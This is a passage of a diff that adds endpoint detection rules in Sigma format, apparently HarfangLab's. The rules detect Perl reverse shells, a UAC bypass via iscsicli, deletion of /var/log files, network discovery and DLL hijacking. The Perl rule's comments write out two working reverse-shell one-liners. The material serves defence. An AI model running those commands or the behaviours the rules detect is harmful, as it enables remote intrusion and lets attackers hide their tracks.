+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1216"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a31fa0da-8514-4ffd-8ebc-f3557607f34e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613567Z",
+  "creation_date": "2026-03-23T11:45:34.613570Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613578Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux",
+    "https://attack.mitre.org/techniques/T1059/004/"
+  ],
+  "name": "t1059_004_reverse_shell_perl_linux.yml",
+  "content": "title: Reverse Shell Executed via Perl (Linux)\nid: a31fa0da-8514-4ffd-8ebc-f3557607f34e\ndescription: |\n    Detects different suspicious usages of Perl that are related to reverse shells.\n    A reverse shell is shell session that is initiated from a remote machine.\n    Attackers often use reverse shell to bypass firewall restrictions.\n    It is recommended to analyze the executed script as well as to look for malicious processes and actions stemming from the perl process.\nreferences:\n    - https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux\n    - https://attack.mitre.org/techniques/T1059/004/\ndate: 2022/10/07\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Script.Perl\n    - classification.Linux.Behavior.RemoteShell\n    - classification.Linux.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    # perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n    selection_perl1:\n        CommandLine|contains|all:\n            - 'perl'\n            - ' Socket'\n            - 'socket('\n            - 'connect('\n            - 'open('\n            - 'STDIN'\n            - 'STDOUT'\n            - 'exec('\n\n    # perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"[IPADDR]:[PORT]\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'\n    selection_perl2:\n        CommandLine|contains|all:\n            - 'perl'\n            - 'IO::Socket::INET('\n            - 'STDIN'\n            - 'fdopen('\n            - 'system'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a31fa0da-8514-4ffd-8ebc-f3557607f34e",
+  "rule_name": "Reverse Shell Executed via Perl (Linux)",
+  "rule_description": "Detects different suspicious usages of Perl that are related to reverse shells.\nA reverse shell is shell session that is initiated from a remote machine.\nAttackers often use reverse shell to bypass firewall restrictions.\nIt is recommended to analyze the executed script as well as to look for malicious processes and actions stemming from the perl process.\n",
+  "rule_creation_date": "2022-10-07",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a324bfe0-f0d4-48ff-8121-a6e10932beaf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074371Z",
+  "creation_date": "2026-03-23T11:45:34.074373Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074377Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.jpcert.or.jp/en/2015/02/a-new-uac-bypass-method-that-dridex-uses.html",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_post_uac_bypass_iscsicli.yml",
+  "content": "title: UAC Bypass Executed via iscsicli\nid: a324bfe0-f0d4-48ff-8121-a6e10932beaf\ndescription: |\n    Detects an unusual process being spawned by iscsicli.exe.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    This UAC bypass method abuses the application compatibility databases to force iscsicli.exe to spawn a privileged process.\n    The application compatibility database is a file that configures execution rules for applications that have compatibility issues.\n    It is recommended to analyze the process and user session responsible to look for suspicious behavior and to investigate the context in which the parent process was executed to determine legitimacy.\nreferences:\n    - https://blogs.jpcert.or.jp/en/2015/02/a-new-uac-bypass-method-that-dridex-uses.html\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2021/01/13\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\iscsicli.exe'\n\n    exclusion_conhost:\n        Image: '?:\\Windows\\System32\\conhost.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a324bfe0-f0d4-48ff-8121-a6e10932beaf",
+  "rule_name": "UAC Bypass Executed via iscsicli",
+  "rule_description": "Detects an unusual process being spawned by iscsicli.exe.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nThis UAC bypass method abuses the application compatibility databases to force iscsicli.exe to spawn a privileged process.\nThe application compatibility database is a file that configures execution rules for applications that have compatibility issues.\nIt is recommended to analyze the process and user session responsible to look for suspicious behavior and to investigate the context in which the parent process was executed to determine legitimacy.\n",
+  "rule_creation_date": "2021-01-13",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a3b77de5-b326-4b2f-aeed-40cf697ce819",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080659Z",
+  "creation_date": "2026-03-23T11:45:34.080661Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080665Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.002/T1070.002.md",
+    "https://attack.mitre.org/techniques/T1070/002/"
+  ],
+  "name": "t1070_002_system_logs_removed_fs_linux.yml",
+  "content": "title: System Logs Removed\nid: a3b77de5-b326-4b2f-aeed-40cf697ce819\ndescription: |\n    Detects an attempt to remove any of the system's log, located in '/var/log/'.\n    Attackers can try to remove the system's logs to hide their tracks.\n    It is recommended to go to the machine's timeline and investigate recent actions that an attacker might be trying to hide.\n    If this is the result of an installation or log rotation script, it is highly recommended to whitelist the concerned processes.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.002/T1070.002.md\n    - https://attack.mitre.org/techniques/T1070/002/\ndate: 2023/01/02\nmodified: 2026/03/13\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.002\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.Deletion\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        Kind:\n            - 'remove'\n            - 'rename'  # In case the file is moved to the thrash bin\n        Path:\n            - '/var/log/auth.log'\n            - '/var/log/apt/history/log'\n            - '/var/log/boot'\n            - '/var/log/boot.log'\n            - '/var/log/cron.log'\n            - '/var/log/dmesg'\n            - '/var/log/dpkg.log'\n            - '/var/log/kern.log'\n            - '/var/log/messages'\n            - '/var/log/secure'\n            - '/var/log/syslog'\n            - '/var/log/utmp'\n            - '/var/log/wtmp'\n\n    # Filter-out the common case where the file gets too big and is suffixed with\n    # an incrementing number or is compressed by a log manager.\n    filter_rename_old_logs:\n        Kind: 'rename'\n        Path|startswith: '/var/log/'\n        TargetPath|startswith: '/var/log/'\n\n    exclusion_common:\n        ProcessImage|endswith:\n            - '/bin/syslogd'\n            - '/bin/syslog-ng'\n            - '/bin/metalog'\n            - '/bin/rsyslogd'\n            - '/sbin/logrotate'\n            - '/lib/systemd/systemd'\n            - '/lib/systemd/systemd-journald'\n            - '/sbin/auditd'\n            - '/bin/dmesg'\n\n    # Package managers\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n\n    exclusion_template_apt:\n        - ProcessImage:\n            - '/usr/bin/apt'\n            - '/usr/bin/apt-get'\n        - ProcessParentImage:\n            - '/usr/bin/apt'\n            - '/usr/bin/apt-get'\n        - ProcessGrandparentImage:\n            - '/usr/bin/apt'\n            - '/usr/bin/apt-get'\n\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n\n    exclusion_logstash:\n        ProcessImage: '/usr/share/logstash/jdk/bin/java'\n\n    exclusion_pmlogger:\n        # /bin/sh /usr/lib/pcp/bin/pmlogger_check -C\n        # /bin/sh -c  /usr/libexec/pcp/bin/pmlogger_check -C\n        - ProcessParentCommandLine|startswith:\n            - '/bin/sh*/usr/lib/pcp/bin/pmlogger_'\n            - '/bin/sh*/usr/libexec/pcp/bin/pmlogger_'\n            - '/bin/sh*/usr/lib/pcp/bin/pmie_' # (pmie_check, pmie_daily)\n            - '/bin/sh*/usr/libexec/pcp/bin/pmie_' # (pmie_check, pmie_daily)\n        - ProcessGrandparentCommandLine|startswith:\n            - '/bin/sh*/usr/lib/pcp/bin/pmlogger_'\n            - '/bin/sh*/usr/libexec/pcp/bin/pmlogger_'\n            - '/usr/sbin/crond '\n\n    exclusion_docker:\n        ProcessImage:\n            - '/usr/local/bin/dockerd'\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_kaniko:\n        ProcessImage|endswith: '/kaniko/executor'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: low\n#level: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a3b77de5-b326-4b2f-aeed-40cf697ce819",
+  "rule_name": "System Logs Removed",
+  "rule_description": "Detects an attempt to remove any of the system's log, located in '/var/log/'.\nAttackers can try to remove the system's logs to hide their tracks.\nIt is recommended to go to the machine's timeline and investigate recent actions that an attacker might be trying to hide.\nIf this is the result of an installation or log rotation script, it is highly recommended to whitelist the concerned processes.\n",
+  "rule_creation_date": "2023-01-02",
+  "rule_modified_date": "2026-03-13",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a3c7686b-301b-438b-a523-df78d8a15b1b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622516Z",
+  "creation_date": "2026-03-23T11:45:34.622518Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622522Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sans.org/blog/pen-test-poster-white-board-powershell-built-in-port-scanner/",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1018_powershell_test_netconnection.yml",
+  "content": "title: Test-NetConnection Cmdlet Executed via PowerShell\nid: a3c7686b-301b-438b-a523-df78d8a15b1b\ndescription: |\n    Detects the usage of the Test-NetConnection PowerShell cmdlet.\n    Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement.\n    It is recommended to check the process activity for other suspicious PowerShell commands execution.\nreferences:\n    - https://www.sans.org/blog/pen-test-poster-white-board-powershell-built-in-port-scanner/\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2022/11/08\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        PowershellCommand|contains:\n          - 'Test-NetConnection -Comp'\n          - 'Test-Connection -Comp'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_path:\n        PowershellScriptPath|contains: '\\'\n\n    exclusion_wsmprovhost:\n        ProcessOriginalFileName: 'wsmprovhost.exe'\n\n    exclusion_sense_IR:\n        - ProcessParentImage|endswith: 'senseir.exe'\n        - ProcessGrandparentImage|endswith: 'senseir.exe'\n\n    exclusion_cyberwatch:\n        ProcessParentImage|endswith: 'cyberwatch-agent.exe'\n\n    exclusion_citrix:\n        PowershellScriptPath|endswith: '\\CITRIX_Check_user.ps1'\n\n    exclusion_cairnis:\n        PowershellScriptPath: '?:\\CairnisAgent\\CAIDB\\WS\\CAIPWS_Command.ps1'\n        ProcessGrandparentImage: '?:\\Program Files (x86)\\CairnisAgent\\nvdkit.exe'\n\n    exclusion_rgsystem:\n        ProcessParentImage: '?:\\Program Files (x86)\\RG-Supervision\\RG_Supervision.exe'\n        ProcessGrandparentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_gehealthcare:\n        PowershellScriptPath:\n            - '?:\\Program Files\\GE Healthcare\\Solution Deployer Framework\\Modules\\Utility\\Networking.ps1'\n            - '?:\\Program Files (x86)\\GE Healthcare\\Solution Deployer Framework\\Modules\\Utility\\Networking.ps1'\n            - '?:\\Program Files\\GE Healthcare\\Solution Deployer Framework\\Modules\\Utility\\Connectivity.ps1'\n            - '?:\\Program Files (x86)\\GE Healthcare\\Solution Deployer Framework\\Modules\\Utility\\Connectivity.ps1'\n\n    # https://learn.microsoft.com/en-us/troubleshoot/windows-client/windows-troubleshooters/introduction-to-troubleshootingscript-toolset-tssv2\n    exclusion_tssv2:\n        PowershellCommand|contains:\n            - '$checkConn = FwTest-TCPport -ComputerName $WebSite -Port 80 -Timeout 900'\n            - 'Test-NetConnection -ComputerName $TLStestSite -CommonTCPPort HTTP).TcpTestSucceeded)) { #ToDo: verify - failed on NPS server'\n            - '$pubsymsrvcon = Test-NetConnection -ComputerName $PublicSymSrv -CommonTCPPort HTTP -ErrorAction SilentlyContinue -WarningAction SilentlyContinue'\n        PowershellScriptPath|endswith:\n            - '\\TSSv2.ps1'\n            - '\\TSSv2_ADS.psm1'\n            - '\\TSSv2_DND.psm1'\n            - '\\TSSv2_NET.psm1'\n\n    exclusion_NinjaRMMAgent:\n        ProcessParentCommandLine: 'cmd.exe /c ?:\\ProgramData\\NinjaRMMAgent\\scripting\\\\*'\n        ProcessGrandparentImage|endswith: '\\NinjaRMMAgent.exe'\n\n    exclusion_sapien:\n        PowershellScriptPath: '?:\\Program Files\\SAPIEN Technologies, Inc\\PowerShell Studio 2022\\Debugger64\\ScriptDriver64.exe'\n\n    #exclusion_serviceportalagent:\n    #    PowershellCommand|contains|all:\n    #        - 'function Test-WindowsUpdateConnectivity {'\n    #        - 'Uses Test-NetConnection and Invoke-WebRequest to decide if a device has connectivity to Windows Up'\n    #        - '$Tcp = Test-NetConnection -ComputerName $TcpUri -Port $Port'\n\n    exclusion_open_nebula:\n        - ProcessParentImage:\n            - '?:\\Program Files (x86)\\OpenNebula\\rhsrvany.exe'\n            - '?:\\Program Files\\OpenNebula\\rhsrvany.exe'\n        - ProcessGrandparentImage:\n            - '?:\\Program Files (x86)\\OpenNebula\\rhsrvany.exe'\n            - '?:\\Program Files\\OpenNebula\\rhsrvany.exe'\n\n    exclusion_icinga:\n        PowershellCommand|contains|all:\n            - 'Test-IcingaICMPConnection -Hostname '\n            - 'Get-IcingaValue -Value $ICMP.ResponseTime -Compare $MinResponseTime -Minimum;'\n            - 'have SANs; continue with next ExcludeString in the array'\n\n    exclusion_intune:\n        # C:\\Program Files (x86)\\Microsoft Intune Management Extension\\AgentExecutor.exe\n        ProcessParentOriginalFileName: 'AgentExecutor.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Microsoft Corporation'\n\n    exclusion_serviceportalagent:\n        ProcessOriginalFileName: 'MmrAgent.NetFxEmulator.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: \"Microsoft Corporation\"\n\n    exclusion_prtg:\n        ProcessImage: '?:\\Program Files (x86)\\PRTG Network Monitor\\PowerShellScriptRunner.exe'\n\n    exclusion_programfiles:\n        - ProcessImage|startswith:\n            - '?:\\program files\\'\n            - '?:\\program files (x86)\\'\n        - ProcessParentImage|startswith:\n            - '?:\\program files\\'\n            - '?:\\program files (x86)\\'\n        - ProcessGrandparentImage|startswith:\n            - '?:\\program files\\'\n            - '?:\\program files (x86)\\'\n\n    exclusion_servicenav:\n        ProcessCommandLine|contains: '/scripts-servicenav/'\n\n    exclusion_rudder:\n        ProcessCommandLine|contains: '?:\\Program Files\\Rudder/bin/rudder.ps1 agent run'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe|'\n            - '|?:\\Program Files (x86)\\Microsoft Configuration Manager\\AdminConsole\\bin\\Microsoft.ConfigurationManagement.exe'\n\n    exclusion_explorer:\n        ProcessParentImage: '?:\\WINDOWS\\Explorer.EXE'\n\n    exclusion_omsassessment:\n        ProcessOriginalFileName: 'OmsAssessment.exe'\n        ProcessSigned: 'true'\n        ProcessParentSignature: 'Microsoft Corporation'\n\n    exclusion_winrm:\n        ProcessAncestors|contains:\n            - '|?:\\Windows\\System32\\winrshost.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|'\n            - '|?:\\Windows\\System32\\wsmprovhost.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a3c7686b-301b-438b-a523-df78d8a15b1b",
+  "rule_name": "Test-NetConnection Cmdlet Executed via PowerShell",
+  "rule_description": "Detects the usage of the Test-NetConnection PowerShell cmdlet.\nAdversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement.\nIt is recommended to check the process activity for other suspicious PowerShell commands execution.\n",
+  "rule_creation_date": "2022-11-08",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a3fc0e1e-cea6-465f-92f2-df8319888e07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089827Z",
+  "creation_date": "2026-03-23T11:45:34.089829Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089833Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rasautou.yml",
+  "content": "title: DLL Hijacking via rasautou.exe\nid: a3fc0e1e-cea6-465f-92f2-df8319888e07\ndescription: |\n    Detects potential Windows DLL Hijacking via rasautou.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rasautou.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\MPRAPI.dll'\n            - '\\rasdlg.dll'\n            - '\\rasman.dll'\n            - '\\rtutils.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a3fc0e1e-cea6-465f-92f2-df8319888e07",
+  "rule_name": "DLL Hijacking via rasautou.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rasautou.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a41b4e95-63d6-4018-bcbe-eb7cd37af7d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
